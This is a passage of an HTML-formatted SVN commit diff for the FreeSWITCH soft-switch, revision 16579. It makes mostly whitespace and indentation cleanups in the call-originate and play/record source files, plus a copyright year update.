</span><span class="cx">                                         if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_delay_start"))) {
</span><span class="cx">                                                 int val = atoi(vvar);
</span><span class="cx">                                                 if (val > 0) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg delay start to %d\n",
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg delay start to %d\n",
</ins><span class="cx">                                                                                          switch_channel_get_name(originate_status[i].peer_channel), val);
</span><span class="cx">                                                         originate_status[i].per_channel_delay_start = (uint32_t) val;
</span><span class="cx">
</span><span class="lines">@@ -2579,16 +2555,16 @@
</span><span class="cx">                                         if (caller_channel && !switch_channel_ready(caller_channel)) {
</span><span class="cx">                                                 goto notready;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         elapsed = switch_epoch_time_now(NULL) - start;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         if (elapsed > (time_t) timelimit_sec) {
</span><span class="cx">                                                 to++;
</span><span class="cx">                                                 oglobals.idx = IDX_TIMEOUT;
</span><span class="cx">                                                 goto notready;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        if (!oglobals.sent_ring && !oglobals.ignore_ring_ready &&
</del><ins>+                                        if (!oglobals.sent_ring && !oglobals.ignore_ring_ready &&
</ins><span class="cx">                                                 !oglobals.progress && (progress_timelimit_sec && elapsed > (time_t) progress_timelimit_sec)) {
</span><span class="cx">                                                 to++;
</span><span class="cx">                                                 oglobals.idx = IDX_TIMEOUT;
</span><span class="lines">@@ -2597,7 +2573,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                                 goto notready;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_cond_next();
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -2611,16 +2587,15 @@
</span><span class="cx">
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                endfor1:
</del><ins>+                 endfor1:
</ins><span class="cx">
</span><span class="cx">                         if (caller_channel) {
</span><del>-                                if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) ||
</del><ins>+                                if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) ||
</ins><span class="cx">                                         switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) || switch_channel_test_flag(caller_channel, CF_DISABLE_RINGBACK)) {
</span><span class="cx">                                         ringback_data = NULL;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        
</del><span class="cx">
</span><span class="cx"> #if 0
</span><span class="cx">                         /* changing behaviour ignore_early_media=true must also be explicitly set for previous behaviour */
</span><span class="lines">@@ -2640,9 +2615,9 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         while ((!caller_channel || switch_channel_ready(caller_channel) || switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE)) &&
</span><del>- check_channel_status(&oglobals, originate_status, and_argc)) {
</del><ins>+                                 check_channel_status(&oglobals, originate_status, and_argc)) {
</ins><span class="cx">                                 time_t elapsed = switch_epoch_time_now(NULL) - start;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (cancel_cause && *cancel_cause > 0) {
</span><span class="cx">                                         if (force_reason == SWITCH_CAUSE_NONE) {
</span><span class="cx">                                                 force_reason = *cancel_cause;
</span><span class="lines">@@ -2667,18 +2642,18 @@
</span><span class="cx">
</span><span class="cx">                                 if ((to = (uint8_t) (elapsed >= (time_t) timelimit_sec)) || (fail_on_single_reject && oglobals.hups)) {
</span><span class="cx">                                         int ok = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (fail_on_single_reject_var && !switch_true(fail_on_single_reject_var)) {
</span><span class="cx">                                                 ok = 1;
</span><span class="cx">                                                 for (i = 0; i < and_argc; i++) {
</span><span class="cx">                                                         switch_channel_t *pchannel;
</span><span class="cx">                                                         const char *cause_str;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!originate_status[i].peer_session) {
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         pchannel = switch_core_session_get_channel(originate_status[i].peer_session);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (switch_channel_down(pchannel)) {
</span><span class="cx">                                                                 cause_str = switch_channel_cause2str(switch_channel_get_cause(pchannel));
</span><span class="cx">                                                                 if (switch_stristr(cause_str, fail_on_single_reject_var)) {
</span><span class="lines">@@ -2701,7 +2676,7 @@
</span><span class="cx">                                         !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) &&
</span><span class="cx">                                         (oglobals.ringback_ok
</span><span class="cx">                                          || (switch_channel_test_flag(caller_channel, CF_ANSWERED) || switch_channel_test_flag(caller_channel, CF_EARLY_MEDIA)))) {
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_status_t tstatus = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                         int silence = 0;
</span><span class="cx">
</span><span class="lines">@@ -2733,13 +2708,13 @@
</span><span class="cx">                                                 read_frame = NULL;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        
-                                        if (oglobals.ringback_ok && (oglobals.ring_ready || oglobals.instant_ringback ||
</del><ins>+
+                                        if (oglobals.ringback_ok && (oglobals.ring_ready || oglobals.instant_ringback ||
</ins><span class="cx">                                                                                                  oglobals.sending_ringback > 1 || oglobals.bridge_early_media > -1)) {
</span><span class="cx">                                                 if (oglobals.ringback_ok == 1) {
</span><span class="cx">                                                         switch_status_t rst = setup_ringback(&oglobals, ringback_data, &ringback, &write_frame, &write_codec);
</span><span class="cx">
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (oglobals.bridge_early_media > -1) {
</span><span class="cx">                                                                 switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">                                                                 switch_threadattr_create(&thd_attr, switch_core_session_get_pool(session));
</span><span class="lines">@@ -2751,8 +2726,8 @@
</span><span class="cx">                                                                 switch_buffer_create_dynamic(&early_state.buffer, 1024, 1024, 0);
</span><span class="cx">                                                                 switch_thread_create(&oglobals.ethread, thd_attr, early_thread_run, &early_state, switch_core_session_get_pool(session));
</span><span class="cx">                                                         }
</span><del>-                                                        
-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         switch (rst) {
</span><span class="cx">                                                         case SWITCH_STATUS_SUCCESS:
</span><span class="cx">                                                                 oglobals.ringback_ok++;
</span><span class="lines">@@ -2772,12 +2747,12 @@
</span><span class="cx">
</span><span class="cx">                                                         continue;
</span><span class="cx">                                                 }
</span><del>-                                                        
-                                                if (oglobals.bridge_early_media > -1) {
</del><ins>+
+                                                if (oglobals.bridge_early_media > -1) {
</ins><span class="cx">                                                         write_frame.datalen = 0;
</span><span class="cx">                                                         switch_mutex_lock(early_state.mutex);
</span><span class="cx">                                                         if (switch_buffer_inuse(early_state.buffer) >= write_frame.codec->implementation->decoded_bytes_per_packet) {
</span><del>-                                                                write_frame.datalen = switch_buffer_read(early_state.buffer, write_frame.data,
</del><ins>+                                                                write_frame.datalen = switch_buffer_read(early_state.buffer, write_frame.data,
</ins><span class="cx">                                                                                                                                                  write_frame.codec->implementation->decoded_bytes_per_packet);
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_mutex_unlock(early_state.mutex);
</span><span class="lines">@@ -2792,11 +2767,11 @@
</span><span class="cx">                                                         }
</span><span class="cx">
</span><span class="cx">                                                         olen = mlen;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         //if (ringback.fh->resampler && ringback.fh->resampler->rfactor > 1) {
</span><span class="cx">                                                         //olen = (switch_size_t) (olen * ringback.fh->resampler->rfactor);
</span><span class="cx">                                                         //}
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_core_file_read(ringback.fh, write_frame.data, &olen);
</span><span class="cx">
</span><span class="cx">                                                         if (olen == 0) {
</span><span class="lines">@@ -2812,7 +2787,8 @@
</span><span class="cx">                                                 } else if (ringback.audio_buffer) {
</span><span class="cx">                                                         if ((write_frame.datalen = (uint32_t) switch_buffer_read_loop(ringback.audio_buffer,
</span><span class="cx">                                                                                                                                                                                  write_frame.data,
</span><del>-                                                                                                                                                                                 write_frame.codec->implementation->decoded_bytes_per_packet)) <= 0) {
</del><ins>+                                                                                                                                                                                 write_frame.codec->implementation->decoded_bytes_per_packet)) <=
+                                                                0) {
</ins><span class="cx">
</span><span class="cx">                                                                 if (soft_holding) {
</span><span class="cx">                                                                         switch_channel_set_flag(caller_channel, CF_XFER_ZOMBIE);
</span><span class="lines">@@ -2827,13 +2803,13 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 silence = 600;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((ringback.fh || silence || ringback.audio_buffer || oglobals.bridge_early_media > -1) && write_frame.codec && write_frame.datalen) {
</span><span class="cx">                                                 if (silence) {
</span><span class="cx">                                                         write_frame.datalen = write_frame.codec->implementation->decoded_bytes_per_packet;
</span><span class="cx">                                                         switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.datalen / 2, silence);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_core_session_write_frame(oglobals.session, &write_frame, SWITCH_IO_FLAG_NONE, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         if (soft_holding) {
</span><span class="cx">                                                                 switch_channel_set_flag(caller_channel, CF_XFER_ZOMBIE);
</span><span class="lines">@@ -2844,13 +2820,13 @@
</span><span class="cx">                                                         break;
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_cond_next();
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                  notready:
</span><span class="cx">
</span><span class="cx">                         if (caller_channel) {
</span><span class="lines">@@ -2863,13 +2839,13 @@
</span><span class="cx">                                         switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (caller_channel && !switch_channel_ready(caller_channel) && !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE)) {
</span><span class="cx">                                 oglobals.idx = IDX_CANCEL;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (oglobals.session && (ringback_data || !(switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
</span><del>-                                                                                         switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA)))) {
</del><ins>+                                                                                                                switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA)))) {
</ins><span class="cx">                                 switch_core_session_reset(oglobals.session, SWITCH_FALSE, SWITCH_TRUE);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -2906,17 +2882,17 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                        end_search:
</del><span class="cx">
</span><ins>+                         end_search:
+
</ins><span class="cx">                                 if (peer_channel && switch_channel_down(peer_channel)) {
</span><span class="cx">                                         switch_core_session_rwunlock(peer_session);
</span><span class="cx">                                         peer_session = NULL;
</span><span class="cx">                                         peer_channel = NULL;
</span><span class="cx">
</span><span class="cx">                                 }
</span><del>-                                
-                                if (oglobals.idx == IDX_TIMEOUT || to || oglobals.idx == IDX_KEY_CANCEL || oglobals.idx == IDX_CANCEL ||
</del><ins>+
+                                if (oglobals.idx == IDX_TIMEOUT || to || oglobals.idx == IDX_KEY_CANCEL || oglobals.idx == IDX_CANCEL ||
</ins><span class="cx">                                         (!peer_session && oglobals.idx == IDX_NADA)) {
</span><span class="cx">                                         const char *dest = NULL;
</span><span class="cx">                                         const char *context = NULL;
</span><span class="lines">@@ -2925,13 +2901,13 @@
</span><span class="cx">
</span><span class="cx">                                         if (caller_channel) {
</span><span class="cx">                                                 if (zstr(context)) {
</span><del>-                                                        context = switch_channel_get_variable(caller_channel, "context");
</del><ins>+                                                        context = switch_channel_get_variable(caller_channel, "context");
</ins><span class="cx">                                                 }
</span><span class="cx">                                                 if (zstr(dialplan)) {
</span><del>-                                                        dialplan = switch_channel_get_variable(caller_channel, "dialplan");
</del><ins>+                                                        dialplan = switch_channel_get_variable(caller_channel, "dialplan");
</ins><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (zstr(context)) {
</span><span class="cx">                                                 context = "default";
</span><span class="cx">                                         }
</span><span class="lines">@@ -3019,12 +2995,12 @@
</span><span class="cx">                                 peer_session = NULL;
</span><span class="cx">                                 peer_channel = NULL;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (i = 0; i < and_argc; i++) {
</span><span class="cx">                                 if (!peer_eligible(originate_status[i].peer_channel)) {
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (i != oglobals.idx) {
</span><span class="cx">                                         holding = NULL;
</span><span class="cx">
</span><span class="lines">@@ -3043,10 +3019,10 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         if (switch_channel_up(originate_status[i].peer_channel)) {
</span><span class="cx">                                                 if (caller_channel && i == 0) {
</span><del>- holding = switch_channel_get_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE);
- switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
- }
-                                                
</del><ins>+                                                        holding = switch_channel_get_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE);
+                                                        switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
+                                                }
+
</ins><span class="cx">                                                 if (holding && oglobals.idx != IDX_TIMEOUT && oglobals.idx != IDX_KEY_CANCEL) {
</span><span class="cx">                                                         switch_core_session_t *holding_session;
</span><span class="cx">
</span><span class="lines">@@ -3054,17 +3030,17 @@
</span><span class="cx">                                                                 switch_channel_set_variable(switch_core_session_get_channel(holding_session), SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE, "true");
</span><span class="cx">                                                                 switch_core_session_rwunlock(holding_session);
</span><span class="cx">                                                         }
</span><del>- switch_ivr_uuid_bridge(holding, switch_core_session_get_uuid(originate_status[i].peer_session));
</del><ins>+                                                        switch_ivr_uuid_bridge(holding, switch_core_session_get_uuid(originate_status[i].peer_session));
</ins><span class="cx">                                                         holding = NULL;
</span><del>- } else {
</del><ins>+                                                } else {
</ins><span class="cx">                                                         switch_channel_hangup(originate_status[i].peer_channel, force_reason ? force_reason : reason);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><span class="cx">
</span><span class="cx">
</span><ins>+
</ins><span class="cx">                         if (oglobals.idx > IDX_NADA) {
</span><span class="cx">                                 if ((peer_session = originate_status[oglobals.idx].peer_session)) {
</span><span class="cx">                                         peer_channel = switch_core_session_get_channel(originate_status[oglobals.idx].peer_session);
</span><span class="lines">@@ -3089,7 +3065,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(peer_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(peer_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
</ins><span class="cx">                                                                          switch_channel_get_name(caller_channel));
</span><span class="cx">                                         switch_channel_hangup(peer_channel, SWITCH_CAUSE_INCOMPATIBLE_DESTINATION);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3112,7 +3088,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                  done:
</span><del>-                
</del><ins>+
</ins><span class="cx">                         *cause = SWITCH_CAUSE_NONE;
</span><span class="cx">
</span><span class="cx">                         if (caller_channel && !switch_channel_ready(caller_channel)) {
</span><span class="lines">@@ -3126,7 +3102,7 @@
</span><span class="cx">                                                 switch_process_import(oglobals.session, peer_channel, "import");
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals.session), SWITCH_LOG_DEBUG, "Originate Resulted in Success: [%s]\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals.session), SWITCH_LOG_DEBUG, "Originate Resulted in Success: [%s]\n",
</ins><span class="cx">                                                                  switch_channel_get_name(peer_channel));
</span><span class="cx">                                 *cause = SWITCH_CAUSE_SUCCESS;
</span><span class="cx">
</span><span class="lines">@@ -3141,7 +3117,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (peer_channel) {
</span><del>-                                        *cause = switch_channel_get_cause(peer_channel);                                        
</del><ins>+                                        *cause = switch_channel_get_cause(peer_channel);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         for (i = 0; i < and_argc; i++) {
</span><span class="cx">                                                 if (!originate_status[i].peer_channel) {
</span><span class="lines">@@ -3151,23 +3127,23 @@
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (cdr_var) {
</span><span class="cx">                                         for (i = 0; i < and_argc; i++) {
</span><span class="cx">                                                 switch_channel_t *channel;
</span><span class="cx">
</span><span class="cx">                                                 if (!originate_status[i].peer_session) {
</span><del>- continue;
- }
</del><ins>+                                                        continue;
+                                                }
</ins><span class="cx">
</span><span class="cx">                                                 channel = switch_core_session_get_channel(originate_status[i].peer_session);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_channel_wait_for_state_timeout(channel, CS_REPORTING, 5000);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
</span><span class="cx">                                                         switch_channel_set_timestamps(channel);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_ivr_generate_xml_cdr(originate_status[i].peer_session, &cdr) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         if ((xml_text = switch_xml_toxml(cdr, SWITCH_FALSE))) {
</span><span class="cx">                                                                 switch_snprintf(buf, sizeof(buf), "%s_%d", cdr_var, ++cdr_total);
</span><span class="lines">@@ -3216,7 +3192,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         early_state.ready = 0;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (oglobals.ethread) {
</span><span class="cx">                                 switch_status_t st;
</span><span class="cx">                                 switch_thread_join(&st, oglobals.ethread);
</span><span class="lines">@@ -3248,15 +3224,15 @@
</span><span class="cx">                                 if (!originate_status[i].peer_channel) {
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><del>-                                
-                                if (status == SWITCH_STATUS_SUCCESS) {
</del><ins>+
+                                if (status == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_channel_clear_flag(originate_status[i].peer_channel, CF_ORIGINATING);
</span><span class="cx">                                         if (bleg && *bleg && *bleg == originate_status[i].peer_session) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                } else if ((state=switch_channel_get_state(originate_status[i].peer_channel)) < CS_HANGUP &&
</del><ins>+                                } else if ((state = switch_channel_get_state(originate_status[i].peer_channel)) < CS_HANGUP &&
</ins><span class="cx">                                                  switch_channel_test_flag(originate_status[i].peer_channel, CF_ORIGINATING)) {
</span><del>-                                        if (!(state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
</del><ins>+                                        if (!(state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
</ins><span class="cx">                                                  switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) ||
</span><span class="cx">                                                  switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED))) {
</span><span class="cx">                                                 switch_channel_hangup(originate_status[i].peer_channel, *cause);
</span><span class="lines">@@ -3277,7 +3253,7 @@
</span><span class="cx">                                         for (i = 0; i < and_argc; i++) {
</span><span class="cx">                                                 switch_channel_t *pchannel;
</span><span class="cx">                                                 const char *cause_str;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!originate_status[i].peer_session) {
</span><span class="cx">                                                         continue;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -3313,7 +3289,7 @@
</span><span class="cx">         if (*bleg) {
</span><span class="cx">                 if (session && caller_channel) {
</span><span class="cx">                         switch_caller_profile_t *cloned_profile, *peer_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(*bleg));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (peer_profile) {
</span><span class="cx">                                 if ((cloned_profile = switch_caller_profile_clone(session, peer_profile)) != 0) {
</span><span class="cx">                                         switch_channel_set_originatee_caller_profile(caller_channel, cloned_profile);
</span><span class="lines">@@ -3334,7 +3310,7 @@
</span><span class="cx">
</span><span class="cx">         switch_safe_free(write_frame.data);
</span><span class="cx">         switch_safe_free(fail_on_single_reject_var);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (caller_channel) {
</span><span class="cx">                 switch_channel_clear_flag(caller_channel, CF_ORIGINATOR);
</span><span class="cx">                 switch_channel_clear_flag(caller_channel, CF_XFER_ZOMBIE);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_play_sayc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_play_say.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_play_say.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_play_say.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -185,7 +185,7 @@
</span><span class="cx">                 old_sound_prefix = p;
</span><span class="cx">                 switch_channel_set_variable(channel, "sound_prefix", sound_path);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(macro = switch_xml_child(language, "macro"))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Can't find any macro tags.\n");
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -269,9 +269,10 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 odata = expanded;
</span><span class="cx">                                         }
</span><del>-                                        
-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Handle %s:[%s] (%s:%s)\n", func, odata, chan_lang, module_name);
</del><span class="cx">
</span><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Handle %s:[%s] (%s:%s)\n", func, odata, chan_lang,
+                                                                         module_name);
+
</ins><span class="cx">                                         if (!strcasecmp(func, "play-file")) {
</span><span class="cx">                                                 status = switch_ivr_play_file(session, NULL, odata, args);
</span><span class="cx">                                         } else if (!strcasecmp(func, "phrase")) {
</span><span class="lines">@@ -357,7 +358,7 @@
</span><span class="cx">                 input = input->next;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (hint_data) {
</span><span class="cx">                 switch_event_destroy(&hint_data);
</span><span class="lines">@@ -393,21 +394,21 @@
</span><span class="cx">         uint32_t org_silence_hits = 0;
</span><span class="cx">         int asis = 0;
</span><span class="cx">         int waste_resources = 0;
</span><del>- switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         unsigned char write_buf[SWITCH_RECOMMENDED_BUFFER_SIZE] = { 0 };
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">         int divisor = 0;
</span><span class="cx">         int file_flags = SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT;
</span><span class="cx">         const char *prefix;
</span><del>-        
</del><ins>+
</ins><span class="cx">         prefix = switch_channel_get_variable(channel, "sound_prefix");
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!prefix) {
</span><span class="cx">                 prefix = SWITCH_GLOBAL_dirs.sounds_dir;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if (!(divisor = read_impl.actual_samples_per_second / 8000)) {
</span><span class="cx">                 divisor = 1;
</span><span class="lines">@@ -421,7 +422,7 @@
</span><span class="cx">         if (switch_channel_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -445,7 +446,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if ((vval = switch_channel_get_variable(channel, "record_waste_resources"))) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (switch_true(vval)) {
</span><span class="cx">                         waste_resources = 1400;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -472,7 +473,7 @@
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strstr(file, SWITCH_URL_SEPARATOR)) {
</span><span class="cx">                 char *ext;
</span><span class="cx">
</span><span class="lines">@@ -489,7 +490,7 @@
</span><span class="cx">                                         tfile = NULL;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         file = switch_core_session_sprintf(session, "%s%s%s%s%s", switch_str_nil(tfile), tfile ? "]" : "", prefix, SWITCH_PATH_SEPARATOR, file);
</span><span class="cx">                 }
</span><span class="cx">                 if ((ext = strrchr(file, '.'))) {
</span><span class="lines">@@ -513,12 +514,8 @@
</span><span class="cx">         if (!fh->prefix) {
</span><span class="cx">                 fh->prefix = prefix;
</span><span class="cx">         }
</span><del>-        
-        if (switch_core_file_open(fh,
-                                                         file,
-                                                         fh->channels,
-                                                         read_impl.actual_samples_per_second,
-                                                         file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (switch_core_file_open(fh, file, fh->channels, read_impl.actual_samples_per_second, file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -589,7 +586,7 @@
</span><span class="cx">         if (limit) {
</span><span class="cx">                 start = switch_epoch_time_now(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (fh->thresh) {
</span><span class="cx">                 if (asis) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't detect silence on a native recording.\n");
</span><span class="lines">@@ -632,9 +629,9 @@
</span><span class="cx">
</span><span class="cx">                 if (args && (args->input_callback || args->buf || args->buflen)) {
</span><span class="cx">                         /*
</span><del>-                         dtmf handler function you can hook up to be executed when a digit is dialed during playback
-                         if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-                        */
</del><ins>+                         dtmf handler function you can hook up to be executed when a digit is dialed during playback
+                         if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+                         */
</ins><span class="cx">                         if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                 if (!args->input_callback && !args->buf) {
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -700,7 +697,7 @@
</span><span class="cx">                 if (!switch_test_flag(fh, SWITCH_FILE_PAUSE) && !switch_test_flag(read_frame, SFF_CNG)) {
</span><span class="cx">                         int16_t *data = read_frame->data;
</span><span class="cx">                         len = (switch_size_t) asis ? read_frame->datalen : read_frame->datalen / 2;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_write(fh, data, &len) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -727,7 +724,7 @@
</span><span class="cx">
</span><span class="cx">         switch_core_file_close(fh);
</span><span class="cx">
</span><del>-        if (read_impl.samples_per_second) {
</del><ins>+        if (read_impl.samples_per_second) {
</ins><span class="cx">                 switch_channel_set_variable_printf(channel, "record_seconds", "%d", fh->samples_out / read_impl.samples_per_second);
